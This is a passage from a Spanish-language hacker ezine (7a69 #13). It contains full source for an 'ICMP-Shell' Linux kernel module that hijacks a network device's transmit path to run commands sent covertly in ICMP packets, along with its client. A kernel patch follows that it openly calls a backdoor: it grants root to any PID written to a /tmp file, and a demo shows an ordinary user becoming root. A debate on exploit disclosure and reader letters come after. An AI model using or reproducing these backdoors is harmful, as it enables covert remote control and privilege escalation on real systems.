/* inicializamos el hilo, esto seria el constructor */
init_hilo_kernel(khilo, "hilo ziSXko");

while(1)
{
interruptible_sleep_on_timeout(&khilo->queue, HZ);

mb();/*barrido de memoria, recomendado sobre todo en alpha :)*/

if(atomic_read(&hay_instruccion)==1)
{
memset(aux,0,MAX_BUFFER);
memset(comando,0,MAX_BUFFER);

for(i=0;i<strlen(comando_path);i++)
if(strncmp(&comando_path[i],"/",1)==0)
val=i;

copia_buffer_desde(comando,comando_path,val+1);

for(i=0;i<9;i++)instruccion[i]=NULL;

instruccion[0]=comando;

kernel_thread(hilo_ejecutor,NULL,0);

interruptible_sleep_on_timeout(&khilo->queue, HZ);

atomic_dec(&hay_instruccion);/* lo pone a cero */
atomic_inc(&instruccion_ejecutada);/* la pone a uno */
}

if(khilo->kill_flag)
{
lock_kernel();/*bloqueamos, cuando el hilo salga se ejecuta implicitamente
unlock_kernel*/

khilo->thread=NULL;
mb();
break;
}
}
}

int init_module(void)
{
atomic_set(&instruccion_ejecutada,0);
atomic_set(&hay_instruccion,0);

net_dispo=dev_get_by_name(dispositivo);
if(!net_dispo)
{
printk("Imposible encontrar Dispositivo, descarte el modulo\n");
return 0;
}

original_hard_start_xmit = net_dispo->hard_start_xmit;

net_dispo->hard_start_xmit=&filtro_icmp;

inicia_hilo_kernel(hilo_de_ejecucion,&hilo_comando);

memset(buffer,0,MAX_BUFFER);

if((ent=create_proc_entry(FICHERO_PROC_USER_KERNEL, S_IRUGO | S_IWUSR,
NULL))!=NULL)
{
ent->proc_iops=&Operaciones_sobre_Inodo_swap;
ent->proc_fops=&Operaciones_fichero_swap;
}
else
{
printk(KERN_WARNING"No se puede Crear el Fichero en /proc\n");
printk(KERN_WARNING"La Shell no Funcionara Correctamente\n");
}

printk("ICMP-Shell Instalada\n");
printk("Poguered by ziSXko Chistems 2001\n");
return 0;
}

void cleanup_module(void)
{
net_dispo->hard_start_xmit=original_hard_start_xmit;
mata_hilo_kernel(&hilo_comando);
printk("ICMP-Shell Descargada\n");
printk("Poguered by ziSXko Chistems 2001\n");
remove_proc_entry(FICHERO_PROC_USER_KERNEL,NULL);
}

---/ icmp.c /---


---/ icmp.h /---

/*
* icmp.h
*/

/* definicion de protocolo que vamos a usar sobre icmp */
#define CLIENTE_ESPERANDO_DATOS "0"
#define HOST_PROCESANDO_INSTRUCCION "1"
#define CLIENTE_INSTRUCCION "2"
#define HOST_DATOS "3"


#define MAX_BUFFER 1000
#define PASS "zIsXkO" /*la password que tiene que ir con la cadena que
recivimos*/

#define MAX_PASSWORD 6/*Longitud de la password*/

---/ icmp.h /---


---/ shellicmp.c /---

/*
* shellicmp.c
* Cliente Basico para el modulo en user-space :)
*/


#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include "icmp.h"
#include <signal.h>
#define CERRAR_SESION "bye"

#define ERROR -1

int pid=-1;
struct protoent *proto=NULL;
struct sockaddr_in addr;

struct paquete
{
struct icmphdr icmp;
char datos[MAX_BUFFER];
};

unsigned short checksum(void *b, int len)
{ unsigned short *buf = b;
unsigned int sum=0;
unsigned short result;

for ( sum = 0; len > 1; len -= 2 )
sum += *buf++;
if ( len == 1 )
sum += *(unsigned char*)buf;
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
result = ~sum;
return result;
}


void envia_paquete_icmp(char *datos)
{
struct paquete pkt;
int fd;

fd=socket(PF_INET,SOCK_RAW,IPPROTO_ICMP);
if(fd==ERROR)
{
perror("socket");
exit(-1);
}

bzero(&pkt,sizeof(pkt));
pkt.icmp.type=ICMP_ECHO;
pkt.icmp.un.echo.id=pid;
strncpy(pkt.datos,datos,strlen(datos));
pkt.icmp.un.echo.sequence=1;
pkt.icmp.checksum=checksum(&pkt,sizeof(pkt));

if(sendto(fd,&pkt,sizeof(pkt),0,&addr,sizeof(struct
sockaddr_in))==ERROR)
{
perror("send");
exit(-1);
}
}


void muestra_datos(void *buf, int bytes)
{

struct iphdr *ip = buf;
struct icmphdr *icmp = buf+ip->ihl*4;
char *datos= buf+ip->ihl*4+sizeof(struct icmphdr);
char buffer[MAX_BUFFER],aux[MAX_BUFFER];
int comando;

if((icmp->un.echo.id==pid)&&(icmp->type==0))
{
memset(buffer,0,MAX_BUFFER);
strncpy(buffer,datos,MAX_BUFFER);
strncpy(buffer,datos,1);
comando=atoi(buffer);
switch(comando)
{
case 1:
bzero(aux,MAX_BUFFER);
strcat(aux,PASS);
strcat(aux,CLIENTE_ESPERANDO_DATOS);
printf(".");
fflush(stdout);
sleep(1);
envia_paquete_icmp(aux);
break;
case 3:
memset(aux,0,MAX_BUFFER);
strncpy(aux,datos,MAX_BUFFER);
aux[0]='-';
printf("\n");
printf("Datos del Host\n");
printf("%s",aux);
break;
default :
printf("Respuesta Desconocida\n");
break;
}
}
}

void espera_datos(void)
{
int fd;
struct sockaddr_in addr;
unsigned char buf[1024];

fd=socket(AF_INET, SOCK_RAW, proto->p_proto);
if(fd==ERROR)
{
perror("socket");
exit(-1);
}
for (;;)
{
int bytes, len=sizeof(addr);

bzero(buf, sizeof(buf));
bytes = recvfrom(fd, buf, sizeof(buf), 0, &addr, &len);
if ( bytes > 0 )
muestra_datos(buf, bytes);
else
perror("recvfrom");
}
exit(0);
}

void ping_y_pong()
{
char buffer[MAX_BUFFER],aux[MAX_BUFFER],aux1[MAX_BUFFER];

printf("Cliente ICMP-Telnet powered by ziSXko Chistems\n");

for (;;)
{
bzero(buffer,MAX_BUFFER);
bzero(aux,MAX_BUFFER);
bzero(aux1,MAX_BUFFER);
printf("Introduce comando:\n");
fgets(buffer,MAX_BUFFER-1,stdin);

if(strncmp(buffer,CERRAR_SESION,strlen(CERRAR_SESION))==0)
break;

strncpy(aux1,buffer,strlen(buffer)-1);

strcat(aux,PASS);
strcat(aux,CLIENTE_INSTRUCCION);
strcat(aux,aux1);

printf("Esperando Respuesta\n");
sleep(2);
envia_paquete_icmp(aux);
sleep(1);
}
printf("Cerrando Sesion\n");
}


int main(int argc, char *argv[])
{
struct hostent *hname;
int pidhijo;


if ( argc != 2 )
{
printf("Usa: %s <addr>\n", argv[0]);
exit(0);
}

pid = getpid();
proto = getprotobyname("ICMP");
hname = gethostbyname(argv[1]);
bzero(&addr, sizeof(addr));
addr.sin_family = hname->h_addrtype;
addr.sin_port = 0;
addr.sin_addr.s_addr = *(long*)hname->h_addr;
if ((pidhijo=fork())==0)
espera_datos();
else
ping_y_pong();

kill(pidhijo,SIGKILL);
exit(0);
}

---/ shellicmp.c /---

-------------------------------------------------------------------------------


-------------------------------------------------------------------------------
---/ 5 /--/ Pachanga sysrq patch. /--/ Trycky /--------------------------------
-------------------------------------------------------------------------------

Este deberia de ser el 2 articulo de los docs que publique en numeros
anteriores sobre el sysrq . Este parche para kernel 2.4.x consiste en que la
unica forma de ser root en la maquina es localmente , para personas paranoicas
es un buen parche . El parche simplemente añade una nueva entrada a
sysrq_key_table[] , esta entrada que la llamaremos sysrq_psys estara asociada
a la letra 'd' , aunque esto ya es como uno quiera para algo teneis el source
la implementacion que usado es leer de un fichero donde tu pondras la pid que
quieras que sea root y listo , con esto taremos seguros que solo se podran
auntentificar como root localmente y a si podremos configurar nuestra maquina
para no aceptar de ninguna forma que el root pueda identificarse . Aun a si
el parche tiene algunas cosas no del todo seguras ya que cualquier usuario
puede usar esta implementacion una solucion seria definir el MAGIC_PID en un
directorio donde solo el user en cuestion tuviera permisos para crear el
fichero :

-#define MAGIC_PID "/tmp/7a69rl0z"
+#define MAGIC_PID "/home/guaysinu/OAA"

A partir de ahora si se tienen los permisos apropiados solo el user guaysinu
podria grabar la pid para que el sysrq_psys la leyera, aunque de todas formas
cualquier otro user podria ir sacando informacion donde sobre se podria
encontrar el fichero con ayuda de : lsof , etc . Otra cosa seria hacer un
intercambio de claves el psys generaria una palabra al azar y esta la
encriptariamos con la clave definida por ejemp '#define MAGIC_PASS "OAA"'.
La cual nos daria una frase encriptada que nosotros ya desencriptariamos y lo
pasariamos como a argumento al pid en el fichero de MAGIC_PID . Se podria usar
3DES , MD5 , Blowfish , etc .
Tambien se podria hacer esto en forma de modulo dado que la serie del Kernel
2.4.x trae una implementacion nueva del sysrq que treae como novedades por
ejemplo el poder agregar nuevas acciones al sysrq mediante modulos , mas
informacion detallada en el propio src del kernel como no y en
$linux/Documentation/sysrq.txt .

Tal vez este documento sea breve , absurdo e inutil . Nadie lo dudo , pero una
vez que esta la idea cualquier persona se puede implementar lo que mas le guste
lanzar un plan de emergencias anti hackeo (aunque el propio sysrq ya lo trae de
por si matando a todos los procesos ) , o poder desconectar la maquina de la
red y en ese momento invocar al tripware o cual programa te guste mas para
comprobar tus permisos y ver si alguien a retocado algun binario , etc .

E incluido un script to cutre para los que les de vageza guardar el pid en el
file directamente .

Ejemplo :

real@lepton:~ > uname -r ;id
2.4.18pre2
uid=1000(real) gid=1000(real) groups=1000(real)
real@lepton:~ > ps|grep bash |awk '{print $1}'
983
real@lepton:~ > cat > /tmp/7a69rl0z
983

real@lepton:~ > SysRq : hax0ring
psys : Marcandose un detallito con la pid => [983]

real@lepton:~ > id
uid=0(root) gid=0(root) groups=1000(real)
real@lepton:~ > cat << _EOF_
> Y colorin colorado esta backdoor a molado
> _EOF_
Y colorin colorado esta backdoor a molado
real@lepton:~ > exit

<++> 7a69Soft/patch_psys01-K24.diff
14a15,16
> /* (c) OAA psys : trycky@7a69ezine.org */
>
34a37,41
> #include <linux/compatmac.h>
> #include <linux/file.h>
>
> #define MAGIC_PID "/tmp/7a69rl0z"
>
99a107
> /* psys sysrq handler , Algunas cosas ripeadas del lids */
100a109,195
> int myatoi(char *str)
> {
> int res = 0;
> int mul = 1;
> char *ptr;
> for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
> if (*ptr < '0' || *ptr > '9')
> return (-1);
> res += (*ptr - '0') * mul;
> mul *= 10;
> }
> return (res);
> }
>
> struct task_struct *find_task_struct_by_pid(int pid) {
> struct task_struct *p, **htable = &pidhash[pid_hashfn(pid)];
> for(p = *htable; p && p->pid != pid; p = p->pidhash_next);
> return(p);
> }
>
> static void sysrq_handle_psys(int key, struct pt_regs *pt_regs,
> struct kbd_struct *kbd, struct tty_struct *tty) {
>
> pid_t pid;
> int cont,i;
> char buffer[8],*buf;
> struct file *filp;
> __u32 old_limit = current->addr_limit.seg;
>
> filp=filp_open(MAGIC_PID,O_RDONLY,O_RDONLY);
>
> if(IS_ERR(filp) || filp==NULL){
> printk("psys : Error al intentar abrir el fichero => %s\n",MAGIC_PID);
> return -1;
> }
>
> if(filp->f_op->read==NULL){
> fput(filp);
> printk("psys : Error leyendo => %s\n",MAGIC_PID);
> return -3;
> }
>
>
> filp->f_pos=0;
> current->addr_limit.seg = 0xffffffff;
> cont=filp->f_op->read(filp,buffer,8,&filp->f_pos);
> current->addr_limit.seg = old_limit;
> fput(filp);
>
> buf=buffer;
>
> for(i=0 ; buf[i] && i<9 ; i++){
> if (buf[i]=='\n' || buf[i]=='\r') {
> buf[i]=0;
> break;
> }
> }
>
> pid=myatoi(buf);
>
> printk("psys : Marcandose un detallito con la pid => [%d]\n",pid);
> console_loglevel=0;
>
> /* Damos uid=0 a la pid seleccionada */
>
> struct task_struct *psys;
>
> read_lock(&tasklist_lock);
> psys=find_task_struct_by_pid(pid);
> read_unlock(&tasklist_lock);
>
> if(psys){
> psys->uid=0;
> psys->euid=0;
> psys->gid=0;
> psys->egid=0;
> } else {
> printk("psys : [%d] Pid no valida\n",pid);
> return 0;
> }
> console_loglevel=7;
> }
>
> static struct sysrq_key_op sysrq_psys_op = {
> handler: sysrq_handle_psys,
> help_msg: "hax0rDsh3ll",
> action_msg: "hax0ring"
> };
357c452
< /* d */ NULL,
---
> /* d */ &sysrq_psys_op,
<-->

<++> 7a69Soft/psys.sh
#! /bin/sh
# Script pa los que no sepan usar ps y cat xD
MAGIC_PID=/tmp/7a69rl0z
ps|grep bash |awk '{print $1}' > $MAGIC_PID
echo -ne "trycky dice OAA OAA llama al sysrq.\n"
<-->

trycky@7a69ezine.org

Thnx a Ripe y ziskxo y ya veremos que futuras versiones del mismo publicamos.

-------------------------------------------------------------------------------

*EOF*
-=( 7A69#13 )=--=( art14 )=--=( Debate. )=--=( Varios )=-

, ,
/ \/ \
(/ //_ \_
.-._ \|| . \
\ '-._ _,:__.-"/---\_ \
______/___ '. .--------------------'~-'--.)_,( , )\ \
`'--.___ _\ / | ,' \)|\ `\|
/___.-' \ \ _:,_ "
|| (
.'__ _.'\ '-/,`-~` Liberalizacion de los exploits |/
\ ___.> /=,| |
/ _.-'/_ ) | Algo adecuado? |
/` ( /(/ | |
\\ " `---------------------------------'
'=='

Porque es un tema que esta generando mucha controversia. El auge de la
publicacion de codigos de explotacion, llamados comunmente Exploits, ha sido
y sigue siendo fuente de quebraderos de cabeza por parte de infinidad de
administradores de sistemas, atacados por gente que, sin nocion alguna de lo
que realmente hace, usa este codigo contra servidores vulnerables. Se puede
echar un vistazo a las estadisticas del CERT para comprobar lo fundamentadas
que se encuentran estas afirmaciones.

Y la culpa es de aquellos que distribuyen codigo comprometedor. Muchos
integrantes del staff de 7a69 han publicado codigo que puede hacer pupa,
codigo no capado. Entre ellos me incluyo yo. Ahora todos estamos bastante
mas concienciados del asunto, y ante la problematica de la liberalizacion de
codigo comprometedor y agujeros de seguridad, nace una pregunta que sera
tema de debate en el numero de hoy.


Los exploits, debemos liberarlos?


- ------------------------------------------------------------------------ -
- # 1 # Tahum -
- ------------------------------------------------------------------------ -

Poneos en la situacion de un padre de familia. Teneis 3 encantadores
chavalines, y una casa que vosotros administrais. En el cuarto de estar, con
tu tambien encantadora mujercita, tienes una pistola cargadita. Cerrarias
con llave el cajon para que tus hijos no la tocaran o, en su defecto, les
dejarias que accedieran con ella?. Ahora imaginaos que soys Hackers. Ratas
de codigo, teneis las cejas juntas de tanto analizar codigo, escribis codigo
que explota vulnerabilidades... publicareis el codigo que los encantadores
chavalines de iNet lo exploten o por el contrario lo restringireis a un
colectivo de gente que sabe lo que hace?.

En mi opinion, la pistola deberia ser inaccesible para los ni~os, o
bien estar descargada. En un principio se decidio por descargar a la pistola
y publicar los exploits capados, de forma que no sirvieran y los chavalines
se frustraran al ver algun error del compilador / interprete. Luego esta
practica fue en desuso y se decidio por no publicar los exploits, y esto es
lo que a propio juicio considero mas efectivo. Hay cosas que a cierta gente
le queda grande, los coders no deben ser sucursales de Toys 'r us, quien
quiera pan que se lo gane.

Y todos aquellos que argumentan que la privatizacion de los exploits
no afavorece al panorama de la seguridad informatica, que piense en los
administradores. Que piensen en las horas que invierten arreglando las
travesuras del ni~ito "
hacker", aquellos que han perdido su empleo, aquellos
que han sufrido males en su carrera profesional por culpa de ellos. Y aquel
que diga que la culpa es del administrador por dejarse las llaves en la
puerta, no debe tener unas ideas demasiado claras. Si quiero, puedo dejar la
puerta de mi casa abierta, pero nadie sin mi consentimiento debe entrar. Ni
tu ni nadie posee el derecho de allanar el terreno de otro. Tu libertad
acaba donde empieza la libertad del projimo; pero ese es otro tema.

La informacion debe ser libre, pero siempre con un minimo de sentido
comun. Quereis codigo para hacer pen testing? genial, escribidlo. Que la
privatizacion de codigo afavorece el tradeo y ofrece una falsa sensacion de
seguridad a los demas? cierto. Tendras que confiar en ellos. Quiza todo este
movimiento pueda ser vinculado a un conocido refran.

Tanto sabes, tanto vales.

- ------------------------------------------------------------------------ -



- ------------------------------------------------------------------------ -
- # 2 # Ripe -
- ------------------------------------------------------------------------ -

A mi parecer todo aquel que leyo los articulos que publique en 7a69#12
tendra clara mi postura; NO a la publicacion de codigo que pueda
comprometer la seguridad de algun computador. El porque esta claro; a~os
atras (hablo de muchos a¤os atras) internet no tenia la 'bola' que tiene
ahora. Los caros accesos y el desconocimiento de la gente normal dejaban
a internet bastante despoblada, y solo unos cuantos privilegiados
disponian de un punto de entrada a la red desde su casa. En aquel
entonces el hacking (que ya llevaba a~os practicandose) era la palabra
que describia no a la intrusion de sistemas, sino al estudio en
profundidad del funcionamiento de un computador y todo lo que se le
relacione. Unos pocos empezaron a usar sus conocimientos para hacer 'el
mal', lo que hizo que el hacking dejara de ser un tema desconocido y
pasara a ser 'la noticia'... Hacker asalta los ordenadores de la NASA,
hacker se introduce en los sistemas del pentagono... Esto vende, y la
prensa lo sabia ya en aquel entonces. Aqui es cuando entra en accion el
ni~o o chaval, que ve como entrar en la NASA o el pentagono es posible y
decide que el tambien quiere hacerlo... quiere ser hacker. Aqui se ve
claramente la culpabilidad de la prensa en la marchitacion de la palabra
hacking.

Volviendo un poco al tema... Que pasa con el chavalin que de golpe y
porrazo quiere ser hacker? Empieza a entrar en el IRC (que tipico... claro,
los canales se llaman #hack*), y ahi tras leer algunas cosas (poco, porque
leer cansa) se percata de la existencia de los exploits y de los lugares
donde conseguirlos (he oido hack.co.za, saludos a leim-boy desde aqui :). El
chico, contento con su linux, encuentra por casualidad un exploit que
funciona (que por desgracia los hay) y ale! a petar maquinas. Lejos queda ya
la idea inicial de 'hacking'. Que hubiera pasado si dicho exploit no
funcionase? El chico frustrado tras probar exploit tras exploit sin exito
decidiria que el hacking no es lo suyo.... (posiblemente). Y si el exploit
no existiese? Posiblemente lo mismo...

Con ello queda claro que la no-publicacion de exploit frustrara a una
gran cantidad de chavales que tienen ganas de jugar a ser hackers,
posiblemente para fardar ante los compa~eros de classe, o porque se creen
que que asi ligaran mas (bah! los hackers no ligan :P), por ello apoyo
totalmente a la gente de anti.security.is.

Se ha hablado mucho de este tema enfocandolo hacia los exploits, pero
y los virus? Los virus informaticos podrian considerarse incluso mas
peligrosos que los exploits, porque actuan solos. Deben los creadores
de virus colgar en internet (ojo! no estoy hablando de distribuir) sus
bichitos? o bien deben moverse estos en circulos algo mas reducidos?
Como veis, estamos en las mismas.

- ------------------------------------------------------------------------ -



- ------------------------------------------------------------------------ -
- # 3 # zgor -
- ------------------------------------------------------------------------ -

Aupa,

Como bien comenta Ripe, internet ya no es lo que era y el tema hax0r
esta muy de moda entre tanta pelicula y demas historias.

Yo considero que por un lado tenemos los avisos de fallos de
seguridad que circulan libremente, aunque despues de los comunicados de
microsoft la gente quiza anda con mas cuidado, y por otra lado tenemos los
xploits, que son la prueba de concepto. Es decir, demuestran que lo descrito
en el aviso es realizable.

Esta claro que si un exploit circula libremente por ahi y sin fallos
a proposito, lo utilizaran de forma inadecudada y perversa mucha gente, pero
lo que me niego a aceptar es el hecho de tener que considerar al visitante
de una web relacionada con la seguridad como un 'script-kiddie', termino que
nunca me ha gustado. Es decir, si un administrador quiere comprobar si el
parche que ha puesto a su kernel le evita tal y tal tema, pues se baja el
exploit y lo prueba contra su propia maquina, sin tener que dominar la
programacion de exploits para poder probarlo.

Al final lo que se esta consiguiendo es la creacion de circulos
privados de 'trafiko' de exploits, siendo esto muy negativo para toda la
comunidad interesada en la seguridad. El hecho de tener que conocer a tal y
cual persona para poder conseguir informacion acerca de una vulnerabilidad
y/o una prueba de concepto funcional me parece lo mas denigrante de todo el
asunto.

Claro esta, se que internet no es de color rosa y que habra muchos
menos administradores legitimos con ganas de comprobar la seguridad de su
sistema de los que creo, pero no podemos presuponerlo, la informacion debe
ser completa y libre.

Como alternativa no propongo nada nuevo, simplemente en vez de
expandir una shell, los exploits podrian crear un vulnerable.txt en /root,
probando asi tambien la existencia del fallo y sin dejarlo extremadamente
facil a un posible atacante que carece de conocimientos minimos.

A lo largo del tiempo, se ha demostrado que la seguridad basada en la
ocultacion no existe y siendo los exploits parte del mundo de la seguridad,
no pueden ocultarse ni 'dificultarse'.

- ------------------------------------------------------------------------ -



- ------------------------------------------------------------------------ -
- # 4 # tuxisuau -
- ------------------------------------------------------------------------ -

Los kiddies son usualmente adolescentes de 13 años para arriba con
grandes p roblemas psicologicos, generalmente problemas sociales, de
relacionarse con la gente, etc. Esto les trae a encerrarse con sus
ordenadores... entonces, en el irc, por el metodo de la sugestion,
conocen kiddies y acaban convirtiendose en kiddies tambien. Muchos
verdaderamente se creen que son los reyes o algo asi, pero por suerte la
mayoria son conscientes de que lo que hacen lo puede hacer cualquiera y
algunos terminan dejando el tema kiddie y tratando de aprender algo.
El problema es que mientras hacen de kiddies, son realmente un estorbo a
la comunidad underground. Por que? Porque los kiddies llevan a cabo el tipo
de actividades pseudo-hackers que aparecen en todos los medios, y los medios
son desgraciadamente los que pueblan el 99% de las cabezas con ideas. Es
decir, "
Es verdad, lo dicen en la tele". la mayor parte de la poblacion se
deja manipular con demasiada facilidad (creo que no hace falta profundizar).
Que entendemos como actividades pseudo-hackers? Siii! Web-defacements,
rm -rf's, ircbots, etc.

En fin, que la full-disclosure me parece algo horrible, puesto que si
los 0days estan siempre a manos de los kiddies, los kiddies podran siempre
liarla a lo grande, y teniendo en cuenta el creciente numero de kiddies,
esto puede ser el fin. Probablemente los goviernos aprovecharan para
implantar medidas muy bestias de represion que no interesan a (casi) nadie,
por ejemplo, reformar internet para que en vez de entrar con nuestra ip
entremos con nuestro DNI, y colocar camaras de video en el interior de las
casas de los propietarios de ordenadores para asegurarse que no hacemos mal
uso de ellos (poca broma, que esto cada dia esta mas cerca). Si llegan a
suceder cosas como esta o mucho mas leves, el cript kiddie lo tendria
dificil, pero tambien lo tendria dificil el que de verdad quisiera aprender.
Y el mundo ahora mismo necesita hackers a montones, pues... quien vigilara
al vigilante?. Dejando los kiddies... nos interesa tener soft completamente
seguro? Solo de pensar en el mal uso que se podria hacer de un soft seguro
en su totalidad se me hace un nudo en el estomago.

En fin, la politica de antisec me gusta bastante, pero coincido com
mucha gente en que no es necesario el cortar completamente el subministro de
material delicado. Por ejemplo, bastaria que los 0days no salieran a la luz
hasta por ejemplo 6 meses despues, pues queremos poner dificiles las cosas a
los kiddies, pero tampoco ponerlas faciles a las empresas que no cuidan en
absoluto la seguridad de sus p roductos, o a algunos administradores de
sistemas que cobran cifras enormes y no hacen honor a su nombre, y por otro
lado, los advisors sin-exploit deberian llegar tambien, por ejemplo, un par
de dias despues de enviar el advisor a la empresa correspondiente, tiempo
mas que suficiente para que una empresa haga honor al precio que cobran por
sus productos que supuestamente deberian ofrecer un servicio adicional que
el soft libre no puede ofrecer (aun no entiendo como pueden haber tantas
maquinas corriendo ese sistemaoperativo que yo me se de servidor... o si lo
entiendo... hay admins a los que el tema linux no les conviene en absoluto,
les peligra el curro!). Por que el advisor tan rapido y el exploit tardar
tanto? Porque, por suerte, quien es suficiente listo para codear un exploit
ya no es un kiddie, y en un principio sera tambien lo bastante listo para no
distribuir el exploit luego. Que no funciona? Que es un fallo muy delicado?
Pues entonces es mejor dejar un tiempo razonable antes de soltarlo en
bugtraq, soltarlo antes en listas privadas con gente de confianza, cosas
asi. Por supuesto, en estos casos usad GPG ;). En fin, creo que con estas
medidas y con un poco de humillacion popular masiva como metodo represivo,
los kiddies dejarian de ser peligrosos, y creceria el numero de gente
realmente interesada en aprender.

- ------------------------------------------------------------------------ -


Como habeis podido comprobar hemos estrenado la seccion Debate,
seccio, que esperamos tenga la continuidad que se merece. En esta primera
'entrega' solo hemos publicado 4 opiniones de gente cercana al staff de 7a69
y gente del propio staff, pues los lectores no conociais de su existencia,
sinembargo ahora _SI_ la conoceis, por lo que deseamos haceros participar.

No nos ha sido facil elegir cual sera el proximo tema de debate, han
salido varios, sinembargo finalmente nos hemos decantado por el siguiente:

"
Que ofrece mas garantias de seguridad? Codigo abierto o cerrado?"

Si desea opinar sobre el tema con un articulo de opinion recuerda
que solo debes cargar tu editor favorito, escribir, y luego, con el cliente
SMTP que te de la gana, mandas lo que has escrito a staff@7a69ezine.org.
Sencillo, no? Pues ale, a implicarse.


*EOF*
-=( 7A69#13 )=--=( art15 )=--=( 7a69Soft )=--=( Varios )=-


Lamentamos el echo de que en este numero de 7a69 no podais encontrar tanto
software como en los demas, pero las cosas van como van y no hemos podido
dedicarle demasiado tiempo a dessarroyar software, de todos modos esperamos
seguir con la linea que manteniamos hasta ahora. Aqui os dejamos el 7a69Soft.

int main() {
read("
all");
}

#define PROGRAMAS

#include "
7a69Soft/tuxiscan.c" /*
* TILE: TuxiScan
*
* CODER: tuxisuau - <tuxisuau@7a69ezine.org>
*
* DESCR: Pequeño escaner, que escanea un
* puerto barriendo rangos de IPs.
*
*/

#include "
7a6Soft/picmp.tar.gz" /*
* TILE: Pachanga ICMP
*
* CODER: Trycky - <trycky@7a69ezine.org>
*
* DESCR: Constructor de paquetes, que
* soporta diversos protocolos.
*
*/

#include "
7a69Soft/sysrq.diff" /*
* TILE: Sysrq hack pach
*
* CODER: Trycky - <trycky@7a69ezine.org>
*
* DESCR: Pequeño parche para el kernel 2.4
* de linux que ilustra la
* posiblidad de usar sysrq para
* troyanizar un kernel.
*
*/

#define EXPLOITS/DOS

#include "
/dev/null" /* See: http://anti.security.is */


*EOF*

-=( 7A69#13 )=--=( art16 )=--=( Correo del lector... )=--=( Staff )=-


Y una vez mas (y esperamos que perdure) nos disponemos a abrir el buzon
de correo y a responder a todos aquellos que han enviado un correo a
staff@7a69ezine.org o bien han dejado un mensajito en la seccion "
contacta" de
nuestras web (http://www.7a69ezine.org).


-------------------------------------------------------------------------------
---/ 0x01 /--------------------------------------------------------------------
-------------------------------------------------------------------------------

Hola muchachos!

Me presento. Soy Slayer y con un poco de suerte
me habeis leido en el Proyecto R 11, creo. Solo
queria presentarme y deciros un par de cosas.

[ Oh, la R, gran ezine. Escribiste algo sobre troyanos bajo VB, me
equivoco?. Un placer. ]

Primera: ¿ahora como narices me bajo yo el numero
12 con mi netscape ?
Voy a probar con lynx a ver que pasa :)

[ Uh, diria que el proceso es igual a cualquier otro navegador... no
tengo un netscape para confirmarlo, de cualquier modo con lynx no
deberias tener problema alguno. ]

Segunda: Estoy preparando un articulo de PHP para
Proyecto R. Y como he visto que habeis renovado la
web (un muy buen cambio, por cierto) y que usais
PHP a lo mejor querriais que os echara una mano si
lo necesitais. No se si os podre servir de mucha
ayuda o no, pero asi yo practico :)

[ Pues como el tema web queda relegado casi al 100% en tuxi, me temo
que esto le alegrara el dia. A esto se te respondera de forma
personal en un futuro, gracias por la propuesta. ]


Pues bueno, eso es todo. Un saludo


SLAYER
sslayer@bigfoot.com (suponiendo que me llegue)


PD: No tardeis mucho en responder u os bombardeare
el email creyendo que no os llegan mis mensajes :)

[ Si no es por no responder... si hay que responder, se responde,
pero responder por responder... es tonteria. ]



-------------------------------------------------------------------------------
---/0x02/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Felicidades por esta e-zine. Haber si la siguiente
la hacemos mas pronto eeeeeeeeh! :), y nos dejamos
de ser tan vagos y nos ponemos mas a trabajar ke la
gente komo yo esta pendiente de la salida de vuestra
zine :P . Enga Bye. Y felicidades de nuevo

[ Oh! acaso crees que no tenemos nada mejor que hacer?... OK, vale,
pero en el remoto caso de que no tuvieramos nada mejor que hacer...
vale, de acuerdo, tu ganas. Espero que la salida de este #13 te de
una alegria ;-). ]


-------------------------------------------------------------------------------
---/0x03/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Lasss..

Felicidades por el ezine muy interesante.
Pero pam pam en el culete :) por la web.

[ :-# ]

Os aconsejaria IMHO que usarais mas
tables y menos divs i framesets que lo
unico q hacen es dar problemas y no les
molan mucho a los robobos de los buscadores.
Ale, si necesitais algo pos ya sabeis
donde estoy. :)

Ptunetz

[ Gracias por la sugerencia, nuestro webmaster se ha puesto a ello. ]



-------------------------------------------------------------------------------
---/0x04/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Probando si rula esto y ver si llega al mail del staff

[ No, no ha llegado, manda de nuevo! ]
[ Ripe: Muy bien trycky xDD]




-------------------------------------------------------------------------------
---/0x05/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Administro la web: MATY: SEGURIDAD Y PRIVACIDAD.
www.maty.galeon.com

Acabo de crear la sección E-ZINES y quiero colgar los vuestros y
poner el enlace correspondiente. Por eso os pido vuestro permiso
antes.

[ Tienes nuestra autorizacion. ]

En ella he explicado en profundidad diferentes programas de seguridad
para clientes windows. Foro anexo.

He empezado por M$ porque la mayoría de los usuarios son inexpertos (
de ahí que los artículos sean los más asequibles posibles ).

Próximamente quiero crear la sección LINUX y montar dos servidores
linux y windows seguros. Ir añadiéndoles servicios, ir atacándolos
manualmente, explicar cómo se arregla el fallo...De paso
aseguraríamos los clientes windows y linux Y LAS COMUNICACIONES.

Con ello pretendo crear un manual/cursillo asequible. En fin,
dependerá de la gente interesada.

En principio lo que me gustaría desarrollar es el tema de la
criptología, e intentar difundir su conocimiento y uso, simplificando
el lenguaje y con muchas imágenes.

Hasta ahora me he dedicado a explicar con detalle diferentes
programas windows pero en lo posible escribiré artículos teóricos
sobre seguridad, traduciendo algunos de revistas científicas, etc...

Creo que el tema de la seguridad debe publicitarse al máximo entre
los usuarios, y más en estos tiempos.

Si tenéis alguna sugerencia para mi web, estaría encantado de
leerla.

Poco a poco pienso ir subiendo el nivel. Y lo ideal sería crear un
anillo de webs españolas sobre el tema, de ataque y defensa.

[ Adoro la gente con iniciativa. ]

- -MATY-



-------------------------------------------------------------------------------
---/0x06/----------------------------------------------------------------------
-------------------------------------------------------------------------------

En el fanzine nº9 tenéis el gusano loveletter o al menos
su código! -AVP dixit-

Deberíais avisar si es esto último como sospecho.

En caso de duda.....DELETE

Espero vuestra respuesta.

[ POR TODOS LOS #@~! Fumiga tu terminal!! Purificalo!! ]


-------------------------------------------------------------------------------
---/0x07/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Hola amigos...antes de todo felicitaciones por todo.

No me anda el link de la pagina que dice:

Advertencias
Subscribirse

Me da error el apache.
Bye...exitos.

[ Dentro de poco ya ira bien, la seccion todavia no esta lista. Ya
sabes, cosas del directo... ]


